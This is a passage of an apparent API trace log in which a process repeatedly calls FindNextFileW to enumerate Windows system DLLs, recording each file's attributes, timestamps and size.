ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, 